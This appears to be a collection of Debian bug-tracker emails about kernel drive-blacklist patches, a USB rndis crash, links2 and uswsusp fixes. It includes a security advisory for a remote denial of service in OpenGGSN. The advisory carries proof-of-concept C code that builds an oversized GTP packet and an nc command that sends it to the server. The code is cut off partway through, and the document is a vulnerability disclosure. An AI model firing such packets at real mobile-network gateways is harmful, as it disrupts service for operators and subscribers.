Thinkpad T20 and they seem to work. The kernel patch should be more verbose when loading the firmware or when the image is missing, but other than that they seem to work. Feel free to sponsor, adopt, hijack, NMU, fix or redo the package, if it helps getting cs46xx audio driver back. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464197: Enable cs46xx for etchnhalf?
Please enable drivers with firmware/binary blobs in etchnhalf kernel -- at least the drivers which are included in 2.6.18.dfsg.1-18etch1. I'd like to use a USB wlan stick (A-Link ID 0ace:1215 ZyDAS, needs zd1211-firmware from non-free) which seems to require 2.6.24, but I'd also like to hear sound from this Thinkpad T20 with 00:05.0 Multimedia audio controller: Cirrus Logic CS 4614/22/24 [CrystalClear SoundFusion Audio Accelerator] (rev 01) using the cs46xx driver. Newer firmware interfaces and separate firmware packages are ok, but not for etch/stable, right? -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: ST310211A and HPA ( was Re: Bug#401035: linux-image-2.6-686 - another misbehaving Seagate )
On Thu, Feb 07, 2008 at 10:13:42PM +0100, Bart Champagne wrote: Backporting the fix for 2.6.23 to the Debian 2.6.18 kernel hasn't succeeded yet, my C has gone very rusty it seems. In attachment a dmesg log for this drive. When/if I get a working patch I'll let you know. I think this should work for 2.6.18 (2.6.18.dfsg.1-17etch1) in Debian (I backported the patches once before). I don't have my buggy hardware to test with me now, but this should work. Fetch the latest linux-source-2.6.18 package, extract the tar ball from /usr/src/linux-source*, apply the patch and test :) Backported HPA fix git commits b0244a00451c1ad64bf0a51f50679f7146786780 and 7062cdc5edb3ba4b2eb906684cd19e103de1f920 to Debian's 2.6.18. Added ST310211A as reported by Bart Champagne. diff -ru linux-source-2.6.18/drivers/ide/ide-disk.c linux-source-2.6.18-idehpa/drivers/ide/ide-disk.c --- linux-source-2.6.18/drivers/ide/ide-disk.c 2006-09-20 06:42:06.0 +0300 +++ linux-source-2.6.18-idehpa/drivers/ide/ide-disk.c 2008-02-08 12:11:30.0 +0200 @@ -482,6 +482,17 @@ id-lba_capacity_2; } +/* + * Some disks report total number of sectors instead of + * maximum sector address. We list them here. + */ +static const struct drive_list_entry hpa_list[] = { + { ST340823A, ALL }, + { ST320413A, ALL }, + { ST310211A, ALL }, + { NULL, NULL } +}; + static void idedisk_check_hpa(ide_drive_t *drive) { unsigned long long capacity, set_max; @@ -493,6 +504,15 @@ else set_max = idedisk_read_native_max_address(drive); + if (ide_in_drive_list(drive-id, hpa_list)) { + /* +* Since we are inclusive wrt to firmware revisions do this +* extra check and apply the workaround only when needed. +*/ + if (set_max == capacity + 1) + set_max--; + } + if (set_max = capacity) return; diff -ru linux-source-2.6.18/drivers/ide/ide-iops.c linux-source-2.6.18-idehpa/drivers/ide/ide-iops.c --- linux-source-2.6.18/drivers/ide/ide-iops.c 2006-09-20 06:42:06.0 +0300 +++ linux-source-2.6.18-idehpa/drivers/ide/ide-iops.c 2008-02-08 10:54:15.0 +0200 @@ -589,6 +589,8 @@ EXPORT_SYMBOL(ide_wait_stat); +EXPORT_SYMBOL_GPL(ide_in_drive_list); + /* * All hosts that use the 80c ribbon must use! * The name is derived from upper byte of word 93 and the 80c ribbon. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: ST310211A and HPA ( was Re: Bug#401035: linux-image-2.6-686 - another misbehaving Seagate )
(cc'ing linux-ide) On Mon, Feb 04, 2008 at 02:32:59AM +0100, Bart Champagne wrote: Just found another type of Seagate drives that shows this behaviour : ST310211A Can this one be blacklisted as well ? Yes, do you have a patch? And a dmesg dump of the drive in use with and without a patch? If you do, please send them to upstream [EMAIL PROTECTED] and hope that the fix gets applied to Debian kernels too. Also, please test the sata/pata driver with your drive and add a blacklist there too. If you don't have a patch, here's one for 2.6.24 to go. From 4a8b40c53d2e539bad3f93996f599d69a16af94b Mon Sep 17 00:00:00 2001 From: Mikko Rapeli [EMAIL PROTECTED] Date: Wed, 6 Feb 2008 09:41:14 +0200 Subject: [PATCH] ST310211A has buggy HPA too. Signed-off-by: Mikko Rapeli [EMAIL PROTECTED] --- drivers/ata/libata-core.c |1 + drivers/ide/ide-disk.c|1 + 2 files changed, 2 insertions(+), 0 deletions(-) diff --git a/drivers/ata/libata-core.c b/drivers/ata/libata-core.c index 6380726..d08f869 100644 --- a/drivers/ata/libata-core.c +++ b/drivers/ata/libata-core.c @@ -4169,6 +4169,7 @@ static const struct ata_blacklist_entry ata_device_blacklist [] = { /* Devices which report 1 sector over size HPA */ { ST340823A, NULL, ATA_HORKAGE_HPA_SIZE, }, { ST320413A, NULL, ATA_HORKAGE_HPA_SIZE, }, + { ST310211A, NULL, ATA_HORKAGE_HPA_SIZE, }, /* Devices which get the IVB wrong */ { QUANTUM FIREBALLlct10 05, A03.0900, ATA_HORKAGE_IVB, }, diff --git a/drivers/ide/ide-disk.c b/drivers/ide/ide-disk.c index b178190..a0f9940 100644 --- a/drivers/ide/ide-disk.c +++ b/drivers/ide/ide-disk.c @@ -462,6 +462,7 @@ static inline int idedisk_supports_lba48(const struct hd_driveid *id) static const struct drive_list_entry hpa_list[] = { { ST340823A, NULL }, { ST320413A, NULL }, + { ST310211A, NULL }, { NULL, NULL } }; -- 1.4.4.4 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#463327: bugs.debian.org: bug not seeing my updates
Package: bugs.debian.org Severity: normal The bug in question is #399480 and I updated the patches to the newer version links2, but the emails are not showing up on http://bugs.debian.org/399480 and I'm not receiving any email infrastructure related errors either. The package maintainer was cc'd on the emails and he has received my mails. The original message id is [EMAIL PROTECTED] and I resent a few days later with [EMAIL PROTECTED]. I've tried sending from both my home and work email systems, which both to my knowledge work. Are my emails mistaken for spam or is the bug somehow locked? -Mikko -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (990, 'stable'), (500, 'oldstable') Architecture: i386 (i586) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.24-rc8-486 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#421911: fixed upstream, please apply to etch too
tags 421911 +patch +fixed-upstream +etch thanks Hello, I ran into this too with 2.6.18-5-686 (2.6.18.dfsg.1-17) and a Nokia 5310. dmesg shows: usb 2-1: new full speed USB device using uhci_hcd and address 2 usb 2-1: configuration #1 chosen from 1 choice drivers/usb/class/cdc-acm.c: Ignoring extra header, type -3, length 4 cdc_acm 2-1:1.1: ttyACM0: USB ACM device usbcore: registered new driver cdc_acm drivers/usb/class/cdc-acm.c: v0.25:USB Abstract Control Model driver for USB modems and ISDN adapters usbcore: registered new driver cdc_ether rndis_host 2-1:1.9: RNDIS init failed, -110 usb%d: unregister 'rndis_host' usb-:00:1d.1-1, RNDIS device unregister_netdevice: device usb%d/c9719000 never was registered [ cut here ] kernel BUG at mm/slab.c:595! invalid opcode: [#1] SMP Modules linked in: rndis_host cdc_ether usbnet cdc_acm i915 drm rfcomm l2cap bluetooth ppdev parport_pc lp parport button ac battery ipt_REJECT ipt_TCPMSS xt_tcpmss xt_tcpudp iptable_filter ip_tables x_tables pppoe pppox ipv6 ppp_generic slhc i8xx_tco nls_iso8859_1 nls_cp437 vfat fat dm_snapshot dm_mirror dm_mod ide_generic pcmcia firmware_class joydev tsdev yenta_socket snd_intel8x0 snd_intel8x0m snd_pcm_oss snd_mixer_oss snd_ac97_codec snd_ac97_bus rsrc_nonstatic pcmcia_core snd_pcm snd_timer pegasus snd soundcore i2c_i801 shpchp pci_hotplug snd_page_alloc intel_agp agpgart i2c_core psmouse rtc serio_raw evdev pcspkr ext3 jbd mbcache ide_cd cdrom ide_disk 8139too piix 8139cp mii generic ide_core ehci_hcd uhci_hcd usbcore thermal processor fan CPU:0 EIP:0060:[c0156d07]Not tainted VLI EFLAGS: 00010006 (2.6.18-5-686 #1) EIP is at kfree+0x2e/0x65 eax: 8824 ebx: c97192c0 ecx: defef7c0 edx: c112e240 esi: 0282 edi: c9712b92 ebp: c9719000 esp: c378be18 ds: 007b es: 007b ss: 0068 Process modprobe (pid: 3901, ti=c378a000 task=cf157550 task.ti=c378a000) Stack: c97192c0 dfbef60e c9719006 dfbef01a c53bf200 dfbf36a0 ca096948 c6127800 ff92 defd1e00 0001 0001 0001 0001 dfbf3660 c53bf200 dfbf4520 dfbf4550 c0210c30 df85cba5 c53bf214 c53bf214 Call Trace: [dfbef01a] usbnet_probe+0x4ee/0x503 [usbnet] [c0210c30] __driver_attach+0x0/0x5d [df85cba5] usb_probe_interface+0x58/0x87 [usbcore] [c0210b91] driver_probe_device+0x42/0x8b [c0210c68] __driver_attach+0x38/0x5d [c02106b2] bus_for_each_dev+0x33/0x55 [c0210afb] driver_attach+0x11/0x13 [c0210c30] __driver_attach+0x0/0x5d [c02103cb] bus_add_driver+0x64/0xfd [df85c9da] usb_register_driver+0x60/0xbb [usbcore] [c01358c1] sys_init_module+0x16c3/0x1846 [c0102c11] sysenter_past_esp+0x56/0x79 [c0102c11] sysenter_past_esp+0x56/0x79 Code: 56 89 c7 53 74 58 9c 5e fa 8d 90 00 00 00 40 c1 ea 0c c1 e2 05 03 15 70 d3 36 c0 8b 02 f6 c4 40 74 03 8b 52 0c 8b 02 84 c0 78 08 0f 0b 53 02 81 a0 29 c0 89 e0 8b 4a 18 25 00 e0 ff ff 8b 40 10 EIP: [c0156d07] kfree+0x2e/0x65 SS:ESP 0068:c378be18 6usb 2-1: USB disconnect, address 2 Search for the slab line brings up http://bugzilla.kernel.org/show_bug.cgi?id=7201 and the fix below which applies and works with linux-source-2.6.18 (2.6.18.dfsg.1-17) when built with config-2.6.18-5-686. Please apply this to future etch updates. -Mikko From: Daniel Gollub [EMAIL PROTECTED] Date: Tue, 16 Jan 2007 10:03:01 + (+0100) Subject: USB: rndis_host: fix crash while probing a Nokia S60 mobile X-Git-Tag: v2.6.20-rc6~50^2~6 X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=deb31f1764e0a11bcfe8d44e0658f83d83860e84 USB: rndis_host: fix crash while probing a Nokia S60 mobile Bug fix for driver rndis_host which fixes rndis_host probing certain Nokia S60 (Series 60) mobiles. While the rndis_host get probed by usbnet and tries to bind the Nokia mobile the bind is going to fail. The rndis_host module tries to release the device, in a wrong way, which cause the oops. Fixes Bugzilla #7201 Signed-off-by: Daniel Gollub [EMAIL PROTECTED] Signed-off-by: Greg Kroah-Hartman [EMAIL PROTECTED] --- diff --git a/drivers/usb/net/rndis_host.c b/drivers/usb/net/rndis_host.c index ea5f44d..a322a16 100644 --- a/drivers/usb/net/rndis_host.c +++ b/drivers/usb/net/rndis_host.c @@ -379,6 +379,7 @@ static int rndis_bind(struct usbnet *dev, struct usb_interface *intf) { int retval; struct net_device *net = dev-net; + struct cdc_state*info = (void *) dev-data; union { void*buf; struct rndis_msg_hdr*header; @@ -397,7 +398,7 @@ static int rndis_bind(struct usbnet *dev, struct usb_interface *intf) return -ENOMEM; retval = usbnet_generic_cdc_bind(dev, intf); if (retval 0) - goto done; + goto fail; net-hard_header_len += sizeof (struct rndis_data_hdr); @@ -412,10 +413,7 @@ static int rndis_bind(struct usbnet *dev, struct usb_interface
Bug#399480: links2: support web searching
On Tue, Nov 06, 2007 at 12:58:48PM +0100, Gürkan Sengün wrote: I'd like to test (and maybe apply) your patch, could you send an updated one for links2-2.1pre31 please? I'll see if I can redo the patch for pre31. The patch is pretty mutch copy paste from the Goto dialog, except that the actual url has a template of http://www.google.com/search?q= for example. The menu drawing code was not easy to extend so I changed it to be more dynamic with a counter, but that and the localization changes makes the patch difficult to apply. I'll see what I can come up with. -Mikko
Bug#457963: workaround
I forgot to mention that the basic and obvious workaround is to manually add a password to /var/cache/debconf/passwords.dat as in: --- /var/cache/debconf/passwords.dat-old 2007-12-27 15:17:37.0 +0200 +++ /var/cache/debconf/passwords.dat 2007-12-28 13:05:46.0 +0200 @@ -32,13 +32,13 @@ Name: uswsusp/RSA_passphrase Template: uswsusp/RSA_passphrase -Value: +Value: sercet Owners: uswsusp Flags: seen Name: uswsusp/RSA_passphrase_v Template: uswsusp/RSA_passphrase_v -Value: +Value: sercet Owners: uswsusp Flags: seen -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#457963: uswsusp: empty passphrase hangs installation and suspend-keygen
Package: uswsusp Version: 0.3~cvs20060928-7etch1 Severity: normal Tags: patch *** Please type your report below this line *** I just played with uswsusp and it hanged during install if encrytion was enabled but passphrases were set empty -- I just pressed enter on passphrase questions. The hang shows up like this: ... Selecting previously deselected package uswsusp. (Reading database ... 142234 files and directories currently installed.) Unpacking uswsusp (from .../uswsusp_0.3~cvs20060928-7etch1_i386.deb) ... Setting up uswsusp (0.3~cvs20060928-7etch1) ... Generating RSA key, this may take a while ... and: PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND 10456 root 25 0 2020 724 608 R 99.6 0.1 9:23.53 suspend-keygen To me this seems like a debconf usage bug. First in uswsusp.config, an empty string is accepted as a passphrase and written to debconf database. A fix would go somehow like this: --- uswsusp.config-orig 2007-12-27 15:28:43.0 +0200 +++ uswsusp.config 2007-12-27 15:38:32.0 +0200 @@ -190,9 +190,11 @@ db_go || true db_get uswsusp/RSA_passphrase - P1=$RET + # fail with empty passphrase + if [ -n $RET ]; then P1=$RET; fi db_get uswsusp/RSA_passphrase_v - P2=$RET + # fail with empty passphrase + if [ -n $RET ]; then P2=$RET; fi done fi fi Then in uswsusp.postinst the empty string is read from database and fed without checks to suspend-keygen. A fix could go somehow like this: --- /tmp/uswsusp/postinst 2007-09-18 00:21:59.0 +0300 +++ uswsusp.postinst2007-12-27 16:36:31.0 +0200 @@ -94,13 +94,18 @@ KEYFILE=$RET db_get uswsusp/RSA_passphrase PASS=$RET - echo Generating RSA key, this may take a while ... - suspend-keygen EOFa /dev/null + if [ -n $BITS ] [ -n $KEYFILE ] [ -n $PASS ]; then + echo Generating RSA key, this may take a while ... + suspend-keygen EOFa /dev/null $BITS $PASS $PASS $KEYFILE EOFa + else echo RSA_key_bits, RSA_key_file or RSA_passphrase empty! + echo suspend-keygen not called. + exit 1; + fi db_reset uswsusp/RSA_passphrase db_reset uswsusp/RSA_passphrase_v fi There might be something wrong with suspend-keygen argument parsing too, since a few times I got it to loop forever with $ /usr/sbin/suspend-keygen EOF 1024 /dev/null EOF The output filled with questions and overwrote the history buffer too fast. This is not always repeatable. Perhaps suspend-keygen is waiting for the kernels entropy bucket to fill up or something. Anyway, at least the debconf stuff would be nice to fix. -Mikko -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (990, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-5-686 Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages uswsusp depends on: ii debconf [debconf-2.0] 1.5.11etch1 Debian configuration management sy ii libc6 2.3.6.ds1-13etch4 GNU C Library: Shared libraries ii libgcrypt111.2.3-2 LGPL Crypto library - runtime libr ii libgpg-error0 1.4-1 library for common error values an ii zlib1g 1:1.2.3-13compression library - runtime Versions of packages uswsusp recommends: ii initramfs-tools 0.85h tools for generating an initramfs -- debconf information: uswsusp/suspend_loglevel: uswsusp/no_swap: uswsusp/early_writeout: true uswsusp/image_size: 487590461 uswsusp/snapshot_device: uswsusp/max_loglevel: uswsusp/shutdown_method: platform * uswsusp/encrypt: true uswsusp/RSA_key_bits: 1024 uswsusp/continue_without_swap: true uswsusp/compute_checksum: false uswsusp/no_snapshot: uswsusp/compress: true uswsusp/create_RSA_key: true uswsusp/RSA_key_file: /etc/uswsusp.key * uswsusp/resume_device: /dev/mapper/volgrp1-swap uswsusp/splash: false -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#446219: openggsn: Fix for remote DoS in GTPIE parsing
Package: openggsn Severity: important Tags: security patch etch This was sent to [EMAIL PROTECTED] in 2006: OpenGGSN Denial of Service Vulnerability TNT project: http://www.vtt.fi/proj/tnt/index.jsp?lang=en Copyright © 2006 VTT Abstract OpenGGSN is an open source implementation of a Gateway GPRS Support Node (GGSN). It is used by mobile operators as an interface between the Internet and the rest of the mobile network infrastructure. A Denial of Service (DoS) vulnerability -- caused by an infinite loop in GTPIE parsing when a UDP packet with more than GTPIE_SIZE (256) elements is received -- was found with the Codenomicon GTP test suite. A fix developed by VTT is provided with this advisory. --- Table of Contents Background GTP OpenGGSN Codenomicon GTP Test Suite Affected Products Details Exploiting The Vulnerability Fix About VTT Background GTP http://en.wikipedia.org/wiki/GPRS_Tunnelling_Protocol GPRS Tunnelling Protocol (or GTP) is an IP based protocol used within GSM and UMTS networks. The GTP protocol is layered on top of UDP. There are in fact three separate protocols, GTP-C, GTP-U and GTP'. GTP-C is used within the GPRS core network for signalling between GPRS Support Nodes (GGSNs and SGSNs). This allows the SGSN to activate a session on the users behalf (PDP context activation), to deactivate the same session, to adjust quality of service parameters or to update a session for a subscriber who has just arrived from another SGSN. GTP-U is used for carrying user data within the GPRS core network and between the Radio Access Network and the core network. The user data transported can be packets in any of IPv4, IPv6 or PPP formats. OpenGGSN http://www.openggsn.org OpenGGSN is an open source implementation of a Gateway GPRS Support Node (GGSN). It is used by mobile operators as the interface between the Internet and the rest of the mobile network infrastructure. Codenomicon GTP Test Suite http://www.codenomicon.com/products/telecommunications/gtp/ Codenomicon GTP Test Tools help proactively eliminate security flaws in GTP implementations. The test tool converts your test workstation into a GPRS Support Node for testing the robustness of GPRS Tunneling Protocol (GTP) implementations. The test tools test GTP implementations for development flaws using the unique Codenomicon fault injection technology. Affected Products * OpenGGSN versions 0.83 and 0.84 Details VTT's TNT project (http://www.vtt.fi/proj/tnt/index.jsp?lang=en) used Codenomicon GTP test suite to test an OpenGGSN installation based on Debian unstable/sid distribution. One of the findings is that running any testcase containing a message with more than 256 information elements in the payload caused the OpenGGSN to go into a infinite loop and thus causing an Denial of Service condition and unnecessary consumption of CPU resources. Exploiting The Vulnerability The attacker can make a Denial of Service attack simply by sending a UDP message containing more than 256 information elements to the OpenGGSN server. /* * OpenGGSN - Gateway GPRS Support Node * Copyright (C) 2002, 2003, 2004 Mondru AB. * * The contents of this file may be used under the terms of the GNU * General Public License Version 2, provided that the above copyright * notice and this permission notice is included in all copies or * substantial portions of the software. * * Copyright (C) 2006 VTT */ /* * Proof of concept for OpenGGSN GTPIE parsing Denial-of-Service condition. * * compile in openggsn-0.84/gtp directory: * cc -Wall -g -O0 -L.libs -lgtp gtpie_dos.c -o gtpie_dos * run OpenGGSN: * ./ggsn --fg --debug -c ../examples/ggsn.conf -l 127.0.0.1 * run PoC: * ./gtpie_dos | nc -q 0 -u 127.0.0.1 3386 * resulting DoS: * PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND * 29972 root 25 0 133m 3488 1412 R 98.5 0.3 0:05.23 lt-ggsn * UDP payload: * ./gtpie_dos | hexdump -x * 000101e02020100beefdead * 010010101010101010101010101 * 02001010101010101010101010101010101 * * 210010101010101 * 216 */ #include stdio.h #include sys/types.h #include netinet/in.h #include string.h #include stdlib.h #include unistd.h #include pdp.h #include gtp.h #include gtpie.h int main(void) { int i; struct gtp0_packet *packet=calloc(1, sizeof(struct gtp0_packet)); /* header*/ struct gtp0_header *gtp0 = (struct gtp0_header*) packet; /* Initialise standard GTP0 header */ gtp0-flags=0x1e; gtp0-type=hton8(GTP_CREATE_PDP_REQ); gtp0-spare1=0xff; gtp0-spare2=0xff; gtp0-spare3=0xff; gtp0-number=0xff; gtp0-seq=hton16(0x1); gtp0-flow=0; gtp0-tid=0xdeadbeef; int length = GTP0_HEADER_SIZE; /* data */ uint8_t qr=0x1; for (i=0; i=GTPIE_SIZE; i++) { gtpie_tv0(packet, length,
Bug#401035: ST320413A too
ST320413A has been added to this black list too: http://git.kernel.org/?p=linux/kernel/git/bart/ide-2.6.git;a=commitdiff;h=7062cdc5edb3ba4b2eb906684cd19e103de1f920 -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: Fixed upstream
tags 401035 patch fixed-upstream etch stop http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=b0244a00451c1ad64bf0a51f50679f7146786780 Would be so nice to have this come to etch kernels at some point. This issue on drivers/ide side repeats also with drivers/ata code, but the patches have not settled yet: http://marc.info/?l=linux-idem=118657911029543w=2 -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: asking upstream with more details
http://bugzilla.kernel.org/show_bug.cgi?id=8816 To summarize: Drive size changes between Debian kernels 2.6.8-4 and 2.6.10-1 due stroke being enabled by default. Kernels after 2.6.13-1 probe the last sector when propably looking for partitions and the drive fails silently and loudly after 2.6.16-2. Kernel thinks the drive shouldn't fail... -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: Workaround for this ST340823A drive or kernel bug?
One workaround found: use vanilla 2.6.22.1 which defaults to libata. I also unset EFI_PARTITION with 2.6.22.1, but I don't think that solved it. In my case, when disk content was already under lvm, only grub option for root filesystem needed a change from /dev/hda2 to /dev/sda2. Are pata and libata usable with etch kernels? If so, how to switch from ide-disk to pata? -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: Workaround for this ST340823A drive or kernel bug?
I think bug #421870 is about the same issue too. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: Workaround for this ST340823A drive or kernel bug?
Hello, I just hit this bug too. The drive has been working without errors on sarge kernels for a couple of years and a badblocks read only test just finished without errors (non-destruct. write test ongoing, fsck's for the filesystems report no errors), so this is very likely not a defective IDE drive. Kernel 2.6.8-16sarge7 reports the drive as: hdd: ST340823A, ATA DISK drive ide1 at 0x170-0x177,0x376 on irq 15 hdd: max request size: 128KiB hdd: Host Protected Area detected. current capacity is 78165360 sectors (40020 MB) native capacity is 78165361 sectors (40020 MB) hdd: 78165360 sectors (40020 MB) w/1024KiB Cache, CHS=65535/16/63, UDMA(33) With 2.6.18.dfsg.1-12etch2 I get tons of similar errors early at boot and can't stop the screen. I think the seek fail messages are there and all I get to syslog on another drive is: Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 0 Jul 25 18:07:29 nalle kernel: printk: 897 messages suppressed. Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 1 ... Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 78155993 Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 51809625 Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 0 Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 63 Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 19663560 Jul 25 18:07:29 nalle kernel: end_request: I/O error, dev hdd, sector 51809625 I see this has been reported here and there ( https://bugs.launchpad.net/ubuntu/+source/linux-source-2.6.15/+bug/26119 ), but has anyone seen even a workaround for this? -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#401035: More information (Re: Workaround for this ST340823A drive or kernel bug? )
hdd with 2.6.8-16sarge7: --- hdd: ST340823A, ATA DISK drive ide1 at 0x170-0x177,0x376 on irq 15 hdd: max request size: 128KiB hdd: Host Protected Area detected. current capacity is 78165360 sectors (40020 MB) native capacity is 78165361 sectors (40020 MB) hdd: 78165360 sectors (40020 MB) w/1024KiB Cache, CHS=65535/16/63, UDMA(33) /dev/ide/host0/bus1/target1/lun0: p1 p2 p3 Badblocks read-only and non-destructive write return no error, filesystems are fsck clean: - # /etc/init.d/lvm start Setting up LVM Volume Groups... Reading all physical volumes. This may take a while... Found volume group spare using metadata type lvm2 2 logical volume(s) in volume group spare now active # fsck.ext3 -f /dev/mapper/spare-home e2fsck 1.40-WIP (14-Nov-2006) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/mapper/spare-home: 68784/524288 files (1.8% non-contiguous), 767457/1048576 blocks # fsck.ext3 -f /dev/mapper/spare-media e2fsck 1.40-WIP (14-Nov-2006) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information /dev/mapper/spare-media: 31748/3538944 files (2.0% non-contiguous), 6045677/7077888 blocks - Contains three partitions used by lvm: -- 2264 39082680 hdd 22659831748 hdd1 2266 16073032 hdd2 2267 13173300 hdd3 254 0 28311552 dm-0 254 14194304 dm-1 # pvdisplay --- Physical volume --- PV Name /dev/hdd1 VG Name spare PV Size 9.38 GB / not usable 0 Allocatable yes (but full) PE Size (KByte) 4096 Total PE 2400 Free PE 0 Allocated PE 2400 PV UUID YwheMf-s0pv-97XS-sAOB-oGSk-WcHA-ZEo8Ag --- Physical volume --- PV Name /dev/hdd3 VG Name spare PV Size 12.56 GB / not usable 0 Allocatable yes (but full) PE Size (KByte) 4096 Total PE 3216 Free PE 0 Allocated PE 3216 PV UUID b9Xviu-XSOP-9lz4-4gcY-tE9W-fqxA-k2amBh --- Physical volume --- PV Name /dev/hdd2 VG Name spare PV Size 15.32 GB / not usable 0 Allocatable yes PE Size (KByte) 4096 Total PE 3923 Free PE 1603 Allocated PE 2320 PV UUID TEN6QM-MVlA-LDlO-Moiu-O7mU-VTfZ-pinLz6 With 2.6.18.dfsg.1-12etch2 and 2.6.22-2snapshot.9178 on etch kernel complains a lot about read errors and lvm code fails to scan the drive for physical volumes after that. I suppose initial ide drive scan fails and the drive is disabled since. Boot time logs go past so fast, that I can't catch them. 'hdd=noprobe hdd=65535,16,63' boot options don't help. -- # hdparm -i /dev/hdd /dev/hdd: Model=ST340823A, FwRev=3.07, SerialNo=7EF1EYYG Config={ HardSect NotMFM HdSw15uSec Fixed DTR10Mbs RotSpdTol.5% } RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=0 BuffType=unknown, BuffSize=1024kB, MaxMultSect=16, MultSect=off CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=78165360 IORDY=on/off, tPIO={min:240,w/IORDY:120}, tDMA={min:120,rec:120} PIO modes: pio0 pio1 pio2 pio3 pio4 DMA modes: mdma0 mdma1 mdma2 UDMA modes: udma0 udma1 *udma2 udma3 udma4 udma5 udma3 udma4 udma5 AdvancedPM=no WriteCache=enabled Drive conforms to: Unspecified: ATA/ATAPI-1 ATA/ATAPI-2 ATA/ATAPI-3 ATA/ATAPI-4 * signifies the current active mode - All operations like fdisk fail after boot like this: - end_request: I/O error, dev hdd, sector 0 printk: 33 messages suppressed. Buffer I/O error on device hdd, logical block 0 end_request: I/O error, dev hdd, sector 1 Buffer I/O error on device hdd, logical block 1 end_request: I/O error, dev hdd, sector 2 Buffer I/O error on device hdd, logical block 2 end_request: I/O error, dev hdd, sector 3 Buffer I/O error on device hdd, logical block 3 end_request: I/O error, dev hdd, sector 4 Buffer I/O error on device hdd, logical block 4 end_request: I/O error, dev hdd, sector 5 Buffer I/O error on device hdd, logical block 5 end_request: I/O error, dev hdd, sector 6 Buffer I/O error on device hdd, logical block 6 end_request: I/O error, dev hdd, sector 7 Buffer I/O error on device hdd, logical block 7 end_request: I/O error, dev hdd, sector 8 Buffer I/O error on device hdd, logical block 8 end_request: I/O error, dev hdd, sector 9 Buffer I/O error on device hdd, logical block 9 end_request: I/O error, dev hdd, sector 10 end_request: I/O error, dev hdd, sector 11 end_request: I/O error, dev hdd, sector 12 end_request: I/O error, dev
Bug#394742: please test etch snapshots
On Fri, Jul 20, 2007 at 10:10:30AM -0600, dann frazier wrote: hey Mikko, I've queued your patch up for the second etch point release. Snapshots of this kernel are autobuilt and available for testing. Would you mind testing the latest build to verify? Yep, patch works and I'm not able to oops with 2.6.18.dfsg.1-14~snapshot.9168. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394742: patch applied upstream
tags 394742 patch fixed-upstream etch stop http://git.kernel.org/?p=linux/kernel/git/holtmann/bluetooth-2.6.git;a=commitdiff;h=84950cf0ba02fd6a5defe2511bc41f9aa2237632 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#390035: [Pkg-bluetooth-maintainers] Bug#390035: bluez-utils pin file readable by all
